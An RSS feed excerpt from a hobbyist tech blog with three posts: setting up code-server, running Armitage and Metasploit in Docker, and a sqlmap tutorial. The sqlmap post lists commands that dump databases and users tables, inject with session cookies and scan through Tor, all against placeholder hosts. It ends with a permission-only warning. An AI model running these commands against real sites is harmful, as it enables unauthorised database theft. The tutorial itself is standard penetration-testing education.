		<title>code-server: Unlocking the Power of VS Code in Your Browser</title>
		<link>https://hamradio.my/2025/07/code-server-unlocking-the-power-of-vs-code-in-your-browser/</link>
					<comments>https://hamradio.my/2025/07/code-server-unlocking-the-power-of-vs-code-in-your-browser/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Wed, 02 Jul 2025 17:13:08 +0000</pubDate>
				<category><![CDATA[containerization]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Caddy]]></category>
		<category><![CDATA[cloudcomputing]]></category>
		<category><![CDATA[clouddevelopment]]></category>
		<category><![CDATA[cloudserver]]></category>
		<category><![CDATA[code-server]]></category>
		<category><![CDATA[coders]]></category>
		<category><![CDATA[coderslife]]></category>
		<category><![CDATA[developerproductivity]]></category>
		<category><![CDATA[developerworkflow]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockercontainer]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[LetsEncrypt]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[macos]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[remoteaccess]]></category>
		<category><![CDATA[remoteIDE]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[softwaredevelopment]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[techsavvy]]></category>
		<category><![CDATA[terminal]]></category>
		<category><![CDATA[vscode]]></category>
		<category><![CDATA[webdevelopment]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7579</guid>

					<description><![CDATA[<p>In the modern development landscape, flexibility and accessibility are paramount. code-server offers a solution that brings the renowned Visual Studio Code (VS Code) experience directly to your browser, enabling developers to code from anywhere, on any device, without compromising on functionality. 🚀 What Is code-server? code-server is an open-source project developed by Coder that allows [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/code-server-unlocking-the-power-of-vs-code-in-your-browser/">code-server: Unlocking the Power of VS Code in Your Browser</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">In the modern development landscape, flexibility and accessibility are paramount. <strong>code-server</strong> offers a solution that brings the renowned Visual Studio Code (VS Code) experience directly to your browser, enabling developers to code from anywhere, on any device, without compromising on functionality.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What Is code-server?</h2>



<p class="wp-block-paragraph"><strong>code-server</strong> is an open-source project developed by Coder that allows you to run VS Code on a remote server and access it through a web browser. This setup provides a consistent development environment that can be accessed from any device, be it a laptop, tablet, or even a smartphone. By leveraging the power of cloud servers, code-server enables faster tests, compilations, and downloads, all while preserving your local device&#8217;s resources.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Key Features of code-server</h2>



<ul class="wp-block-list">
<li><strong>VS Code in the Browser</strong>: Experience the full functionality of VS Code, including IntelliSense, debugging, and Git integration, all within your browser.</li>



<li><strong>Remote Development</strong>: Develop on powerful cloud servers, reducing the load on your local machine and enabling resource-intensive tasks.</li>



<li><strong>Consistent Environment</strong>: Maintain a uniform development setup across different devices, ensuring consistency and reducing the &#8220;it works on my machine&#8221; problem.</li>



<li><strong>Extension Support</strong>: Install and use most VS Code extensions, enhancing your development workflow.</li>



<li><strong>Secure Access</strong>: Access your development environment securely from anywhere, with options for HTTPS and authentication.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Installation Guide</h2>



<p class="wp-block-paragraph">Setting up code-server is straightforward. The easiest way to install code-server is to use the official install script, which automates most of the process. This script attempts to use the system package manager if possible.</p>



<h3 class="wp-block-heading">For Linux, macOS, and FreeBSD:</h3>



<p class="wp-block-paragraph">Run the following command in your terminal:</p>



<pre class="wp-block-code"><code>curl -fsSL https://code-server.dev/install.sh | sh
</code></pre>



<p class="wp-block-paragraph">After installation, you can start code-server by running:</p>



<pre class="wp-block-code"><code>code-server
</code></pre>



<p class="wp-block-paragraph">By default, code-server will be accessible at <code>http://127.0.0.1:8080</code>, and your password will be stored in <code>~/.config/code-server/config.yaml</code>.</p>



<h3 class="wp-block-heading">For Docker Users:</h3>



<p class="wp-block-paragraph">You can also run code-server in a Docker container:</p>



<pre class="wp-block-code"><code>docker run -it --name code-server -p 127.0.0.1:8080:8080 \
  -v "$HOME/.local:/home/coder/.local" \
  -v "$HOME/.config:/home/coder/.config" \
  -v "$PWD:/home/coder/project" \
  -u "$(id -u):$(id -g)" \
  -e "DOCKER_USER=$USER" \
  codercom/code-server:latest
</code></pre>



<p class="wp-block-paragraph">This command mounts your current directory into the container and forwards your UID/GID so that all file system operations occur as your user outside the container.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Securing Your code-server Instance</h2>



<p class="wp-block-paragraph">To expose code-server securely to the internet, consider the following methods:</p>



<ul class="wp-block-list">
<li><strong>Port Forwarding via SSH</strong>: If you have an SSH server on your remote machine, you can forward local ports to access code-server securely.</li>



<li><strong>Using Let&#8217;s Encrypt with Caddy or NGINX</strong>: For a more robust solution, you can set up HTTPS using Let&#8217;s Encrypt with web servers like Caddy or NGINX.</li>



<li><strong>Self-Signed Certificates</strong>: For internal use or testing, you can generate and use self-signed certificates to enable HTTPS.</li>
</ul>



<p class="wp-block-paragraph">These methods ensure that your code-server instance is accessible securely from anywhere.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f504.png" alt="🔄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Keeping code-server Up-to-Date</h2>



<p class="wp-block-paragraph">To ensure you have the latest features and security patches, it&#8217;s important to keep code-server updated. You can check for the latest releases on the <a href="https://github.com/coder/code-server/releases">GitHub Releases Page</a>. To update, simply run the install script again:</p>



<pre class="wp-block-code"><code>curl -fsSL https://code-server.dev/install.sh | sh
</code></pre>



<p class="wp-block-paragraph">This will download and install the latest version of code-server.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">code-server empowers developers by providing a powerful, browser-based development environment that can be accessed from anywhere. Whether you&#8217;re working from a laptop, tablet, or smartphone, code-server ensures that you have a consistent and secure development setup at your fingertips.</p>



<p class="wp-block-paragraph">By leveraging cloud servers, code-server enables faster development cycles and reduces the load on local machines, making it an ideal solution for modern development workflows.</p>
<p>The post <a href="https://hamradio.my/2025/07/code-server-unlocking-the-power-of-vs-code-in-your-browser/">code-server: Unlocking the Power of VS Code in Your Browser</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/code-server-unlocking-the-power-of-vs-code-in-your-browser/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Armitage + Metasploit in Docker</title>
		<link>https://hamradio.my/2025/07/armitage-metasploit-in-docker/</link>
					<comments>https://hamradio.my/2025/07/armitage-metasploit-in-docker/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Wed, 02 Jul 2025 12:54:53 +0000</pubDate>
				<category><![CDATA[cachyos]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[arch-linux]]></category>
		<category><![CDATA[armitage]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[ethical-hacking]]></category>
		<category><![CDATA[hacking-tools]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[offensive-security]]></category>
		<category><![CDATA[penetration-testing]]></category>
		<category><![CDATA[red-team]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8186</guid>

					<description><![CDATA[<p>If you&#8217;re into penetration testing, you&#8217;ve probably used Metasploit — the Swiss Army knife of offensive security. Pair it with Armitage, and you get a powerful GUI front-end for visualizing exploits, managing sessions, and collaborating with your team. But installing Armitage today is a mess. It’s outdated, full of dependencies, and prone to breaking. So [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/armitage-metasploit-in-docker/">Armitage + Metasploit in Docker</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 class="wp-block-heading"></h1>



<p class="wp-block-paragraph">If you&#8217;re into <strong>penetration testing</strong>, you&#8217;ve probably used <strong><a>Metasploit</a></strong> — the Swiss Army knife of offensive security. Pair it with <strong><a>Armitage</a></strong>, and you get a powerful GUI front-end for visualizing exploits, managing sessions, and collaborating with your team.</p>



<p class="wp-block-paragraph">But installing Armitage today is a mess. It’s outdated, full of dependencies, and prone to breaking.</p>



<p class="wp-block-paragraph">So here’s the fix: <strong>Run Metasploit + Armitage in Docker</strong>, either with a one-liner or a full-blown Docker Compose setup — and make it work with X11 GUI even on modern distros like <strong>CachyOS</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Tools Used</h2>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Docker</strong></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong><a href="https://hub.docker.com/r/mirogula/kali_linux_metasploit_armitage">mirogula/kali_linux_metasploit_armitage</a></strong></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a5.png" alt="🖥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>X11</strong> for GUI forwarding</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Tested on <strong>CachyOS (Arch-based)</strong></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Quick Start with <code>docker run</code></h2>



<p class="wp-block-paragraph">Run this if you want it fast:</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 1. Install <code>xhost</code></h3>



<pre class="wp-block-code"><code>sudo pacman -S xorg-xhost
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 2. Allow local Docker GUI access</h3>



<pre class="wp-block-code"><code>xhost +local:docker
</code></pre>



<p class="wp-block-paragraph">For fish shell:</p>



<pre class="wp-block-code"><code>set -x DISPLAY :0
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 3. Run Armitage in Docker</h3>



<pre class="wp-block-code"><code>docker run --rm \
  --name armitage \
  --hostname="kali_armitage" \
  -e DISPLAY=$DISPLAY \
  -v /tmp/.X11-unix:/tmp/.X11-unix \
  -v mg_metasploit_postgresql_data:/var/lib/postgresql \
  -v mg_metasploit_framework_dir:/usr/share/metasploit-framework \
  mirogula/kali_linux_metasploit_armitage
</code></pre>



<p class="wp-block-paragraph">If everything is set up right, <strong>Armitage GUI will appear</strong> and connect to the bundled Metasploit framework + PostgreSQL.</p>



<figure class="wp-block-image size-large"><img  title="" loading="lazy" decoding="async" width="1024" height="343" src="https://hamradio.my/wp-content/uploads/2025/07/image-2-1024x343.png"  alt="image-2-1024x343 Armitage + Metasploit in Docker"  class="wp-image-8189" srcset="https://hamradio.my/wp-content/uploads/2025/07/image-2-1024x343.png 1024w, https://hamradio.my/wp-content/uploads/2025/07/image-2-300x100.png 300w, https://hamradio.my/wp-content/uploads/2025/07/image-2-768x257.png 768w, https://hamradio.my/wp-content/uploads/2025/07/image-2.png 1284w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Full Setup with Docker Compose (Recommended)</h2>



<p class="wp-block-paragraph">For a more reusable and clean lab, use this:</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c4.png" alt="📄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <code>docker-compose.yml</code></h3>



<pre class="wp-block-code"><code>services:
  armitage:
    image: mirogula/kali_linux_metasploit_armitage
    container_name: armitage
    hostname: kali_armitage
    environment:
      - DISPLAY=${DISPLAY}
    volumes:
      - /tmp/.X11-unix:/tmp/.X11-unix
      - mg_metasploit_postgresql_data:/var/lib/postgresql
      - mg_metasploit_framework_dir:/usr/share/metasploit-framework
    network_mode: host
    restart: unless-stopped
    stdin_open: true
    tty: true

volumes:
  mg_metasploit_postgresql_data:
  mg_metasploit_framework_dir:
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/25b6.png" alt="▶" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Launch:</h3>



<pre class="wp-block-code"><code>xhost +local:docker
docker compose up -d
</code></pre>



<figure class="wp-block-image size-large"><img  title="" loading="lazy" decoding="async" width="1024" height="576" src="https://hamradio.my/wp-content/uploads/2025/07/image-3-1024x576.png"  alt="image-3-1024x576 Armitage + Metasploit in Docker"  class="wp-image-8191" srcset="https://hamradio.my/wp-content/uploads/2025/07/image-3-1024x576.png 1024w, https://hamradio.my/wp-content/uploads/2025/07/image-3-300x169.png 300w, https://hamradio.my/wp-content/uploads/2025/07/image-3-768x432.png 768w, https://hamradio.my/wp-content/uploads/2025/07/image-3.png 1366w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Troubleshooting</h2>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <code>Can't connect to X11 window server using ':0'</code></h3>



<p class="wp-block-paragraph"><strong>Fix</strong>: You didn’t run <code>xhost +local:docker</code>, or <code>$DISPLAY</code> is not set.</p>



<pre class="wp-block-code"><code>xhost +local:docker
echo $DISPLAY  # should output :0
</code></pre>



<p class="wp-block-paragraph">In fish shell:</p>



<pre class="wp-block-code"><code>set -x DISPLAY :0
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Test Your X11 Setup</h3>



<p class="wp-block-paragraph">Before launching Armitage, test with:</p>



<pre class="wp-block-code"><code>docker run --rm -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix archlinux xeyes
</code></pre>



<p class="wp-block-paragraph">If <code>xeyes</code> appears, GUI forwarding works.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ef.png" alt="🧯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Reset the Lab</h2>



<p class="wp-block-paragraph">To delete everything and start fresh:</p>



<pre class="wp-block-code"><code>docker compose down -v
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Volumes Used</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Volume Name</th><th>Mounted Inside Container</th></tr></thead><tbody><tr><td><code>mg_metasploit_postgresql_data</code></td><td><code>/var/lib/postgresql</code></td></tr><tr><td><code>mg_metasploit_framework_dir</code></td><td><code>/usr/share/metasploit-framework</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">These keep your sessions and configs between runs.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Tested on</h2>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> CachyOS (Arch-based)</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> KDE Plasma (X11 session)</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Docker 25+</li>
</ul>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://hamradio.my/2025/07/armitage-metasploit-in-docker/">Armitage + Metasploit in Docker</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/armitage-metasploit-in-docker/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hacking Databases with sqlmap in Docker</title>
		<link>https://hamradio.my/2025/07/hacking-databases-with-sqlmap-in-docker/</link>
					<comments>https://hamradio.my/2025/07/hacking-databases-with-sqlmap-in-docker/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Wed, 02 Jul 2025 03:55:11 +0000</pubDate>
				<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[digital security]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[bugbounty]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[ethicalhacking]]></category>
		<category><![CDATA[hackingtools]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[penetrationtesting]]></category>
		<category><![CDATA[redteam]]></category>
		<category><![CDATA[securitytesting]]></category>
		<category><![CDATA[sqlmap]]></category>
		<category><![CDATA[websecurity]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8158</guid>

					<description><![CDATA[<p>When it comes to finding and exploiting SQL injection vulnerabilities, few tools are as powerful—or as easy to use—as sqlmap. It&#8217;s open-source, highly automated, and trusted by ethical hackers and penetration testers around the world. What makes sqlmap even more convenient these days is the ability to run it inside a Docker container. No setup [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/hacking-databases-with-sqlmap-in-docker/">Hacking Databases with sqlmap in Docker</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"></h2>



<p class="wp-block-paragraph">When it comes to finding and exploiting <strong>SQL injection</strong> vulnerabilities, few tools are as powerful—or as easy to use—as <strong>sqlmap</strong>. It&#8217;s open-source, highly automated, and trusted by ethical hackers and penetration testers around the world.</p>



<p class="wp-block-paragraph">What makes sqlmap even more convenient these days is the ability to run it inside a <strong>Docker container</strong>. No setup headaches. No dependency hell. Just one simple command, and you&#8217;re ready to start probing for vulnerable SQL endpoints.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What is SQLmap?</h3>



<p class="wp-block-paragraph">If you’re new to it, <strong>sqlmap</strong> is a command-line tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications. It can do things like:</p>



<ul class="wp-block-list">
<li>Identify injection points in GET/POST parameters, cookies, or HTTP headers.</li>



<li>Enumerate and dump databases, tables, and data.</li>



<li>Extract usernames, passwords, and hashes.</li>



<li>Gain shell access or even escalate privileges (in some cases).</li>



<li>Support multiple DBMS: MySQL, PostgreSQL, Oracle, MSSQL, SQLite, and more.</li>
</ul>



<p class="wp-block-paragraph">It’s a serious tool for serious jobs—and also incredibly helpful for <strong>automated testing</strong>, <strong>bug bounty</strong>, and <strong>CTF competitions</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Docker?</h3>



<p class="wp-block-paragraph">Here’s the short version: with Docker, you skip the installation mess. sqlmap and all its dependencies come pre-packaged and ready to go. It runs in a containerized environment, isolated from your system. Perfect for quick jobs, disposable use, or repeatable tests.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Running sqlmap via Docker</h3>



<p class="wp-block-paragraph">Assuming Docker is already set up on your machine, here’s how to get sqlmap running in seconds:</p>



<pre class="wp-block-code"><code>docker run --rm -it --name sqlmap googlesky/sqlmap -u "http://example.com/vuln.php?id=1"
</code></pre>



<ul class="wp-block-list">
<li><code>--rm</code>: Deletes the container when it exits.</li>



<li><code>-it</code>: Interactive mode, gives you the CLI.</li>



<li><code>--name</code>: Optional name for the container.</li>



<li>Replace the <code>-u</code> URL with your own target.</li>
</ul>



<p class="wp-block-paragraph">If you&#8217;re working with a list of targets, you can mount a local volume:</p>



<pre class="wp-block-code"><code>docker run --rm -it -v "$(pwd)/targets:/targets" googlesky/sqlmap -m /targets/urls.txt
</code></pre>



<p class="wp-block-paragraph">This lets sqlmap read URLs from a file (<code>urls.txt</code>) in your working directory.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f525.png" alt="🔥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common sqlmap Use Cases</h3>



<p class="wp-block-paragraph">Let’s dig into some real-world examples you’re likely to use during bug bounties or testing.</p>



<h4 class="wp-block-heading">1. <strong>Basic SQL Injection Test</strong></h4>



<pre class="wp-block-code"><code>docker run --rm -it googlesky/sqlmap -u "http://vulnerable.site/page.php?id=1"
</code></pre>



<p class="wp-block-paragraph">sqlmap will automatically detect the injection point and start probing with different payloads.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h4 class="wp-block-heading">2. <strong>Dump All Databases</strong></h4>



<p class="wp-block-paragraph">Once a vulnerability is confirmed, dump all the available databases:</p>



<pre class="wp-block-code"><code>docker run --rm -it googlesky/sqlmap -u "http://vulnerable.site/page.php?id=1" --dbs
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h4 class="wp-block-heading">3. <strong>List Tables from a Specific Database</strong></h4>



<pre class="wp-block-code"><code>docker run --rm -it googlesky/sqlmap -u "http://vulnerable.site/page.php?id=1" -D my_database --tables
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h4 class="wp-block-heading">4. <strong>Dump Specific Table Data</strong></h4>



<pre class="wp-block-code"><code>docker run --rm -it googlesky/sqlmap -u "http://vulnerable.site/page.php?id=1" -D my_database -T users --dump
</code></pre>



<p class="wp-block-paragraph">This is where things get juicy—usernames, passwords, emails, and other sensitive data often live here.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h4 class="wp-block-heading">5. <strong>Authenticated SQLi Using Session Cookies</strong></h4>



<p class="wp-block-paragraph">Got a session cookie from Burp Suite or browser dev tools?</p>



<pre class="wp-block-code"><code>docker run --rm -it googlesky/sqlmap -u "http://target.com/profile?id=5" --cookie="PHPSESSID=abc123xyz"
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h4 class="wp-block-heading">6. <strong>Send Raw HTTP Requests</strong></h4>



<p class="wp-block-paragraph">If you’ve exported a full HTTP request (from Burp Suite for example), save it to <code>request.txt</code>, then:</p>



<pre class="wp-block-code"><code>docker run --rm -it -v "$(pwd):/data" googlesky/sqlmap -r /data/request.txt
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pro Tips for sqlmap Power Users</h3>



<ul class="wp-block-list">
<li>Use <code>--batch</code> if you want non-interactive automation.</li>



<li>Increase aggressiveness with <code>--level=5 --risk=3</code>.</li>



<li>Save time using <code>--flush-session</code> to reset prior scan data.</li>



<li>If the app uses a POST request or JSON API, use <code>--data</code> or <code>--headers</code>.</li>



<li>Add <code>--tor</code> for scanning via Tor proxy (requires additional setup).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Use Responsibly</h3>



<p class="wp-block-paragraph">sqlmap is powerful. Too powerful to be used recklessly. It should <strong>only be used on systems you own, or have explicit permission to test</strong>. Unauthorized scanning is illegal and unethical.</p>



<p class="wp-block-paragraph">Stick to:</p>



<ul class="wp-block-list">
<li>Your own dev/staging sites</li>



<li>Bug bounty programs with clear rules of engagement</li>



<li>Capture-the-flag (CTF) challenges</li>



<li>Test labs like Hack The Box or DVWA</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3c1.png" alt="🏁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h3>



<p class="wp-block-paragraph">sqlmap is one of those tools that just works. When paired with Docker, it becomes even more portable and disposable—no setup, no cleanup. Whether you&#8217;re poking at a CTF target or doing a serious pentest, sqlmap should be in your arsenal.</p>



<p class="wp-block-paragraph">Just remember: with great power comes great responsibility.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> References</h3>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://hub.docker.com/r/googlesky/sqlmap">Docker Image</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://github.com/sqlmapproject/sqlmap">sqlmap GitHub</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://owasp.org/www-community/attacks/SQL_Injection">OWASP SQLi Guide</a></li>
</ul>
<p>The post <a href="https://hamradio.my/2025/07/hacking-databases-with-sqlmap-in-docker/">Hacking Databases with sqlmap in Docker</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/hacking-databases-with-sqlmap-in-docker/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Deploying Tenable Nessus in Docker: Fast, Portable Vulnerability Scanning</title>
		<link>https://hamradio.my/2025/07/deploying-tenable-nessus-in-docker-fast-portable-vulnerability-scanning/</link>
